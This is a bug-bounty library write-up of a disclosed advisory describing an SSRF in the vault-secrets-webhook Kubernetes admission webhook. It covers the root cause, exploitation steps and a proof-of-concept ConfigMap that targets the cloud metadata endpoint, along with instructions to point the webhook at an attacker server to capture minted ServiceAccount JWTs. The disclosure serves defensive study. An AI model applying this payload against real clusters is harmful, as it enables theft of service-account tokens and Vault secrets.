# vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API

vault-secrets-webhook trusts the vault-addr annotation, letting anyone who can create a ConfigMap make the webhook SSRF and exfiltrate ServiceAccount JWTs.

- Payout: Research
- Severity: critical
- Program: vault-secrets-webhook
- Found by: 0xVijay
- Disclosed: 2026-07-31
- CVE: CVE-2026-54725
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r2v3-8gwf-7ghm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r2v3-8gwf-7ghm
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:go tech:kubernetes technique:source-review vuln:privilege-escalation vuln:secrets-leak vuln:ssrf

**Target:** Kubernetes admission webhook (ConfigMap/Secret mutation)
**Root cause:** parseVaultConfig() copies the user-controlled vault-addr annotation into the Vault client address with no scheme, hostname or link-local validation, and the webhook's ClusterRole grants cluster-wide serviceaccounts/token:create, so the admission handler makes outbound calls to attacker URLs carrying minted SA JWTs.
**Steps:**
1. Create a ConfigMap in a watched namespace with annotations `vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"`, `vault.security.banzaicloud.io/vault-skip-verify: "true"`, `vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"` and a data value prefixed `vault:` e.g. `vault:secret/data/test#value`
2. On admission, MutateConfigMap sees the `vault:` value and calls newVaultClient with the attacker address
3. Webhook calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)` using its cluster-wide serviceaccounts/token:create
4. Webhook POSTs the JWT to `<vault-addr>/v1/auth/<path>/login`; point vault-addr at an attacker HTTP server to capture the `Authorization: Bearer <JWT>` header
5. Replay the captured JWT against the real Vault to read secrets bound to that SA's Vault role
**How found:** Code review of parseVaultConfig() showing the vault-addr annotation is read unconditionally with no validation, combined with noticing the webhook RBAC grants serviceaccounts/token:create cluster-wide and that newVaultClient is invoked synchronously during admission.
**Exploitation:** Attacker with only ConfigMap/Secret create rights in a watched namespace sets vault-addr to their own HTTP server (skip-verify avoids cert needs) and vault-serviceaccount to a privileged SA; the webhook synchronously mints that SA's JWT and POSTs it to the attacker endpoint, which captures the bearer token for replay against the real Vault. Alternatively pointing vault-addr at cloud IMDS makes requests from the webhook pod's IAM identity.
**Escalation:** Chaining the SSRF with the webhook's cluster-wide token minting turns a low-privilege ConfigMap write into theft of arbitrary ServiceAccount JWTs and Vault secret access.
**Insight:** Admission webhooks that read per-object annotations as connection targets are SSRF sinks executing in a highly privileged process; check whether the same component also holds token-minting or secret-read RBAC, since that converts blind SSRF into credential theft.

## Proof of concept (copied exactly from the original report)

**Malicious ConfigMap with vault-addr SSRF annotations**

```
apiVersion: v1
kind: ConfigMap
metadata:
  name: ssrf-poc
  namespace: tenant-ns
  annotations:
    vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
    vault.security.banzaicloud.io/vault-skip-verify: "true"
    vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
  secret-key: "vault:secret/data/test#value"
```

